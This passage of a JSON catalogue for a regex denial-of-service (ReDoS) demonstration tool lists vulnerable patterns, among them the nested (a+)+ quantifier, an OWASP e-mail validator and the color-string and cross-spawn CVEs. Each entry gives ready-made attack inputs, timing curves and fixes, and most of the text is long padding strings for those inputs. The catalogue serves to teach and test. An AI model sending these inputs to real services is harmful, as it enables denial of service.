0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20!","verification":{"engine":"node v22.23.1","benign_ms":0.05,"curve":[{"input_length":2502,"pumps":2500,"ms":9.83,"timed_out":false},{"input_length":5002,"pumps":5000,"ms":39.51,"timed_out":false},{"input_length":10002,"pumps":10000,"ms":155.98,"timed_out":false},{"input_length":20002,"pumps":20000,"ms":624.6,"timed_out":false}],"empirical_class":"quadratic","class_agrees":true}},{"id":"classic-nested-quantifier","name":"Nested quantifier (a+)+","type":"classic","cwe":"CWE-1333","ecosystem":"example","package":null,"affected":null,"patched":null,"published":null,"discovered_by":null,"regex":"^(a+)+$","flags":"","complexity":"exponential","attack":{"prefix":"","pad":"a","suffix":"!"},"benign":"aaaa","fix":{"type":"regex-rewrite","summary":"A group with an inner + wrapped in an outer + can split the same run of \"a\"s exponentially many ways. Collapsing to a single ^a+$ matches the same language in linear time.","patched_regex":"^a+$"},"description":"The canonical textbook ReDoS: an inner-and-outer unbounded quantifier over the same character. Nearly every real-world exponential ReDoS reduces to this shape.","references":["https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS"],"visualize":"https://aurelio-nakamura.github.io/regex-meltdown/#re=%5E(a%2B)%2B%24&in=aaaaaaaaaaaaaaaaaaaaaaaaaaaa!","verification":{"engine":"node v22.23.1","benign_ms":0.06,"curve":[{"input_length":15,"pumps":14,"ms":1.1,"timed_out":false},{"input_length":19,"pumps":18,"ms":17.09,"timed_out":false},{"input_length":23,"pumps":22,"ms":273.91,"timed_out":false},{"input_length":27,"pumps":26,"ms":null,"timed_out":true}],"empirical_class":"exponential","class_agrees":true}},{"id":"classic-owasp-email","name":"OWASP example e-mail validator","type":"classic","cwe":"CWE-1333","ecosystem":"example","package":null,"affected":null,"patched":null,"published":null,"discovered_by":null,"regex":"^([a-zA-Z0-9])(([\\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$","flags":"","complexity":"exponential","attack":{"prefix":"a","pad":"a","suffix":"!"},"benign":"user@example.com","fix":{"type":"guidance","summary":"The (([\\-.]|[_]+)?([a-zA-Z0-9]+))* group can match a run of letters in exponentially many ways. Prefer a linear pattern such as ^[^@\\s]+@[^@\\s]+\\.[^@\\s]+$ and verify deliverability out-of-band.","patched_regex":"^[^@\\s]+@[^@\\s]+\\.[^@\\s]+$"},"description":"A widely copy-pasted \"validate an e-mail address\" regex from public regex libraries. It is exponential: a long local part with no @ makes the engine try every partition.","references":["https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS"],"visualize":"https://aurelio-nakamura.github.io/regex-meltdown/#re=%5E(%5Ba-zA-Z0-9%5D)((%5B%5C-.%5D%7C%5B_%5D%2B)%3F(%5Ba-zA-Z0-9%5D%2B))*(%40)%7B1%7D%5Ba-z0-9%5D%2B%5B.%5D%7B1%7D((%5Ba-z%5D%7B2%2C3%7D)%7C(%5Ba-z%5D%7B2%2C3%7D%5B.%5D%7B1%7D%5Ba-z%5D%7B2%2C3%7D))%24&in=aaaaaaaaaaaaaaaaaaaaaaaaaaaaa!","verification":{"engine":"node v22.23.1","benign_ms":0.14,"curve":[{"input_length":16,"pumps":14,"ms":0.31,"timed_out":false},{"input_length":20,"pumps":18,"ms":2.81,"timed_out":false},{"input_length":24,"pumps":22,"ms":41.81,"timed_out":false},{"input_length":28,"pumps":26,"ms":662.33,"timed_out":false},{"input_length":32,"pumps":30,"ms":null,"timed_out":true}],"empirical_class":"exponential","class_agrees":true}},{"id":"classic-trailing-backtrack","name":"Whitespace-tolerant word list (\\w+\\s?)*","type":"classic","cwe":"CWE-1333","ecosystem":"example","package":null,"affected":null,"patched":null,"published":null,"discovered_by":null,"regex":"^(\\w+\\s?)*$","flags":"","complexity":"exponential","attack":{"prefix":"","pad":"a","suffix":"!"},"benign":"the quick brown fox","fix":{"type":"regex-rewrite","summary":"Because \\s? is optional, each word character can belong to the current or the next iteration of the outer star, which is exponential. ^\\w+(\\s+\\w+)*$ expresses the same \"words separated by spaces\" idea deterministically.","patched_regex":"^\\w+(\\s+\\w+)*$"},"description":"A deceptively innocent \"one or more words, optional spaces\" pattern. The optional \\s? inside a starred group is a textbook ReDoS mistake.","references":["https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS"],"visualize":"https://aurelio-nakamura.github.io/regex-meltdown/#re=%5E(%5Cw%2B%5Cs%3F)*%24&in=aaaaaaaaaaaaaaaaaaaaaaaaaaaa!","verification":{"engine":"node v22.23.1","benign_ms":0.07,"curve":[{"input_length":15,"pumps":14,"ms":1.4,"timed_out":false},{"input_length":19,"pumps":18,"ms":20.06,"timed_out":false},{"input_length":23,"pumps":22,"ms":326.41,"timed_out":false},{"input_length":27,"pumps":26,"ms":null,"timed_out":true}],"empirical_class":"exponential","class_agrees":true}},{"id":"color-string-CVE-2021-29060","name":"color-string","type":"cve","cve":"CVE-2021-29060","ghsa":"GHSA-257v-vj4p-3w2h","cwe":"CWE-1333","ecosystem":"npm","package":"color-string","affected":"<1.5.5","patched":"1.5.5","published":"2021-04-05","discovered_by":"Yeting Li","regex":"^hwb\\(\\s*([+-]?\\d*[\\.]?\\d+)(?:deg)?\\s*,\\s*([+-]?[\\d\\.]+)%\\s*,\\s*([+-]?[\\d\\.]+)%\\s*(?:,\\s*([+-]?[\\d\\.]+)\\s*)?\\)$","flags":"","complexity":"quadratic","attack":{"prefix":"hwb(","pad":"1","suffix":"!"},"benign":"hwb(120, 0%, 0%)","fix":{"type":"regex-rewrite","summary":"The HWB colour parser used ([+-]?\\d*[\\.]?\\d+) where \\d* and \\d+ overlap, so a long digit run followed by an invalid character backtracks quadratically. color-string 1.5.5 tightened the numeric group.","commit":"https://github.com/Qix-/color-string/commit/0789e21284c33d89ebc4ab4ca6f759b9375ac9d3"},"description":"color-string parses CSS colour strings and underlies the \"color\" package used throughout Node.js styling libraries. A malformed hwb() value with a long digit run triggers quadratic backtracking.","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-29060","https://github.com/advisories/GHSA-257v-vj4p-3w2h"],"visualize":"https://aurelio-nakamura.github.io/regex-meltdown/#re=%5Ehwb%5C(%5Cs*(%5B%2B-%5D%3F%5Cd*%5B%5C.%5D%3F%5Cd%2B)(%3F%3Adeg)%3F%5Cs*%2C%5Cs*(%5B%2B-%5D%3F%5B%5Cd%5C.%5D%2B)%25%5Cs*%2C%5Cs*(%5B%2B-%5D%3F%5B%5Cd%5C.%5D%2B)%25%5Cs*(%3F%3A%2C%5Cs*(%5B%2B-%5D%3F%5B%5Cd%5C.%5D%2B)%5Cs*)%3F%5C)%24&in=hwb(1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111!","verification":{"engine":"node v22.23.1","benign_ms":0.19,"curve":[{"input_length":2505,"pumps":2500,"ms":11.63,"timed_out":false},{"input_length":5005,"pumps":5000,"ms":43.66,"timed_out":false},{"input_length":10005,"pumps":10000,"ms":175.76,"timed_out":false},{"input_length":20005,"pumps":20000,"ms":690.52,"timed_out":false}],"empirical_class":"quadratic","class_agrees":true}},{"id":"cross-spawn-CVE-2024-21538","name":"cross-spawn","type":"cve","cve":"CVE-2024-21538","ghsa":"GHSA-3xgq-45jj-v275","cwe":"CWE-1333","ecosystem":"npm","engine":"javascript","package":"cross-spawn","affected":">=7.0.0 <7.0.5 || <6.0.6","patched":"7.0.5","published":"2024-11-08","discovered_by":"reported via GitHub advisory GHSA-3xgq-45jj-v275","regex":"(\\\\*)$","flags":"","complexity":"quadratic","attack":{"prefix":"","pad":"\\","suffix":"!"},"benign":"\\\\\\\\","fix":{"type":"regex-rewrite","summary":"cross-spawn's Windows argument escaper in `lib/util/escape.js` doubled trailing backslashes with `arg.replace(/(\\*)$/, '$1$1')` (and doubled backslashes before a quote with `/(\\*)\"/g`). The group `(\\*)` greedily consumes a run of backslashes and, because the overall match is not anchored at the start, the engine retries the greedy-then-backtrack of `$` from every offset in the run: O(n^2) on a long backslash run that never satisfies the anchor. cross-spawn 7.0.5 / 6.0.6 rewrote both patterns to a lookahead form `/(?=(\\+?)?)\\1$/` that captures the run without a backtrackable greedy quantifier, making the scan linear.","commit":"https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff"},"description":"cross-spawn is one of the most-downloaded packages on npm (a transitive dependency of countless CLIs and build tools via its use inside `execa` and many others). When escaping command arguments for Windows in `lib/util/escape.js`, it doubled trailing backslashes with the regex `/(\\*)$/`. Because `(\\*)` greedily matches a run of backslashes and the pattern is not anchored at the start of the string, an argument consisting of a long run of backslash characters forces the engine to greedily consume the run, fail the `$` anchor, backtrack one backslash at a time, and then retry the whole match from each successive start offset: quadratic O(n^2) blow-up. Since argument strings can be attacker-influenced, this is a denial-of-service vector. cross-spawn 7.0.5 (and 6.0.6) replaced the greedy group with a backtracking-free lookahead `/(?=(\\+?)?)\\1$/`.","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-21538","https://github.com/advisories/GHSA-3xgq-45jj-v275","https://github.com/moxystudio/node-cross-spawn/pull/160","https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff"],"visualize":"https://aurelio-nakamura.github.io/regex-meltdown/#re=(%5C%5C*)%24&in=%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C